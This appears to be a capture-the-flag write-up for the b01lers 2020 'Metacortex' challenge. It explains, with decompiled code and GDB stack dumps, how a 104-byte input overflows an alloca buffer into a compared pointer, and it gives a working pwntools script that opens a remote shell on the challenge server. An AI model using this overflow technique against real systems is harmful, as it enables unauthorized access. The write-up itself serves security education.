Tags: bof pwn 

Rating:

b01lers bootcamp CTF 2020

Metacortex

100

This company is one of the top software companies in the world, because every single employee knows that they are part of a whole. Thus, if an employee has a problem, the company has a problem.

nc chal.ctf.b01lers.com 1014

metacortex

Tags: pwn x86-64 remote-shell bof alloca

Summary

Classic buffer overflow from one variable to another to pass a check, however alloca adds a small twist.

Analysis

Checksec

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Nice! All mitigations in place.

Decompile with Ghidra

undefined8 main(void)
{
  long lVar1;
  int iVar2;
  undefined *puVar3;
  undefined *puVar4;
  long in_FS_OFFSET;
  undefined auStack56 [8];
  long *local_30;
  ulong local_28;
  long local_20;
  
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stderr,(char *)0x0,2,0);
  puVar3 = auStack56;
  while (puVar3 != auStack56) {
    *(undefined8 *)(puVar3 + -8) = *(undefined8 *)(puVar3 + -8);
    puVar3 = puVar3 + -0x1000;
  }
  *(undefined8 *)(puVar3 + -8) = *(undefined8 *)(puVar3 + -8);
  local_30 = (long *)((ulong)(puVar3 + -1) & 0xfffffffffffffff0);
  puVar4 = puVar3 + -0x10;
  while (puVar4 != puVar3 + -0x10) {
    *(undefined8 *)(puVar4 + -8) = *(undefined8 *)(puVar4 + -8);
    puVar4 = puVar4 + -0x1000;
  }
  *(undefined8 *)(puVar4 + -8) = *(undefined8 *)(puVar4 + -8);
  local_28 = (ulong)(puVar4 + -0x41) & 0xfffffffffffffff0;
  *(long *)((ulong)(puVar3 + -1) & 0xfffffffffffffff0) = 0x1011e9;
  *(undefined8 *)(puVar4 + -0x58) = 0x101365;
  puts("Work for the respectable software company, Neo.",puVar4[-0x58]);
  *(undefined8 *)(puVar4 + -0x58) = 0x10137b;
  read(0,local_28,0x80,puVar4[-0x58]);
  lVar1 = *local_30;
  *(undefined8 *)(puVar4 + -0x58) = 0x101395;
  iVar2 = atoi(local_28,puVar4[-0x58]);
  if (lVar1 >> 0x20 == (long)iVar2) {
    *(undefined8 *)(puVar4 + -0x58) = 0x1013a8;
    system("/bin/sh",puVar4[-0x58]);
  }
  if (local_20 == *(long *)(in_FS_OFFSET + 0x28)) {
    return 0;
  }
                    /* WARNING: Subroutine does not return */
  *(undefined8 *)(puVar4 + -0x58) = 0x1013c1;
  __stack_chk_fail();
}

To get a shell we need to pass this check: if (lVar1 >> 0x20 == (long)iVar2) {.

Following along the decompilation was not very helpful, however the disassembly...

00101258 48 f7 f6        DIV        RSI
0010125b 48 6b c0 10     IMUL       RAX,RAX,0x10
0010125f 48 89 c2        MOV        RDX,RAX
00101262 48 81 e2        AND        RDX,-0x1000
         00 f0 ff ff

This pattern is from alloca. Think malloc, but in stack.

Also note that local_28 is a pointer (see above), below local_28 is set from alloca:

  local_28 = (ulong)(puVar4 + -0x41) & 0xfffffffffffffff0;
  *(long *)((ulong)(puVar3 + -1) & 0xfffffffffffffff0) = 0x1011e9;
  *(undefined8 *)(puVar4 + -0x58) = 0x101365;
  puts("Work for the respectable software company, Neo.",puVar4[-0x58]);
  *(undefined8 *)(puVar4 + -0x58) = 0x10137b;
  read(0,local_28,0x80,puVar4[-0x58]);

At this point instead of trying to figure out the math statically, I opted to use GDB; set a breakpoint just before the read and after the read, and then looked at the stack:

gefb *main+397
Breakpoint 1 at 0x1376
gefb *main+402
Breakpoint 2 at 0x137b
gefgef config context.nb_lines_stack 32
gefr

Stack after read:

0x00007fffffffe2c0│+0x0000: "AAAAAAAA\n"     ← $rsp, $rsi
0x00007fffffffe2c8│+0x0008: 0x000000000000000a
0x00007fffffffe2d0│+0x0010: 0x00007ffff7fae4a0  →  0x0000000000000000
0x00007fffffffe2d8│+0x0018: 0x00007ffff7e526bd  →  <_IO_file_setbuf+13> test rax, rax
0x00007fffffffe2e0│+0x0020: 0x00007ffff7fad5c0  →  0x00000000fbad2087
0x00007fffffffe2e8│+0x0028: 0x00007ffff7e48f65  →  <setvbuf+261> xor r8d, r8d
0x00007fffffffe2f0│+0x0030: 0x00005555555553d0  →  <__libc_csu_init+0> endbr64
0x00007fffffffe2f8│+0x0038: 0x00007fffffffe350  →  0x0000000000000000
0x00007fffffffe300│+0x0040: 0x0000555555555100  →  <_start+0> endbr64
0x00007fffffffe308│+0x0048: 0x00007fffffffe440  →  0x0000000000000001
0x00007fffffffe310│+0x0050: 0x00005555555551e9  →  <main+0> endbr64      ← $rbx
0x00007fffffffe318│+0x0058: 0x0000555555555241  →  <main+88> mov eax, 0x10
0x00007fffffffe320│+0x0060: 0x00007ffff7fb1fc8  →  0x0000000000000000
0x00007fffffffe328│+0x0068: 0x00007fffffffe310  →  0x00005555555551e9  →  <main+0> endbr64
0x00007fffffffe330│+0x0070: 0x00007fffffffe2c0  →  "AAAAAAAA\n"
0x00007fffffffe338│+0x0078: 0x80214a39ea503000
0x00007fffffffe340│+0x0080: 0x00007fffffffe440  →  0x0000000000000001
0x00007fffffffe348│+0x0088: 0x00005555555553d0  →  <__libc_csu_init+0> endbr64
0x00007fffffffe350│+0x0090: 0x0000000000000000   ← $rbp
0x00007fffffffe358│+0x0098: 0x00007ffff7de80b3  →  <__libc_start_main+243> mov edi, eax

local_28 (+0x70) is pointing 0x90 above $rbp.

local_28 is 0x28 above the return address (thanks Ghidra), making it 0x20 above $rbp, since $rbp is at +0x90, subtract 0x20 to find local_28 in stack (+0x70). Notice is value is pointing to 0x00007fffffffe2c0 (+0x00).

The compare is with local_30 (see the decompile where lVar1 is set to *local_30). local_30 is 0x30+8 from $rbp (local_30 in Ghidra is 0x30 from the return address and $rbp is just above that). Since 0x90 - 0x30 + 8 = 104, if we write 104 bytes we'll overwrite local_30 and control the compare.

The read liberally allows 0x80 (128) bytes, so we're good here. A payload of a 0 + 103 nulls should get us a shell.

The 0 is for the atoi. atoi will stop at the first null. The nulls in local_30 give us a matching zero.

Exploit

#!/usr/bin/env python3

from pwn import *

binary = context.binary = ELF('./metacortex')
context.log_level = 'INFO'

if not args.REMOTE:
    context.log_file = 'local.log'
    p = process(binary.path)
else:
    context.log_file = 'remote.log'
    p = remote('chal.ctf.b01lers.com', 1014)

payload = b'0' + 103 * b'\0'

p.sendafter('Work for the respectable software company, Neo.\n',payload)
p.interactive()

Output:

# ./exploit.py REMOTE=1
[*] '/pwd/datajerk/b01lersbootcampctf2020/metacortex/metacortex'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to chal.ctf.b01lers.com on port 1014: Done
[*] Switching to interactive mode
$ id
uid=1000(metacortex) gid=1000(metacortex) groups=1000(metacortex)
$ ls -l
total 36
-r-xr-x--- 1 root metacortex    66 Oct  2 15:31 Makefile
-r--r----- 1 root metacortex    28 Oct  2 15:31 flag.txt
-r-xr-x--- 1 root metacortex 17040 Oct  3 04:07 metacortex
-r-xr-x--- 1 root metacortex   396 Oct  2 15:31 metacortex.c
-r-xr-x--- 1 root metacortex    49 Oct  2 15:31 wrapper.sh
$ cat flag.txt
flag{Ne0_y0uAre_d0ing_well}
Original writeup (https://github.com/datajerk/ctf-write-ups/tree/master/b01lersbootcampctf2020/metacortex).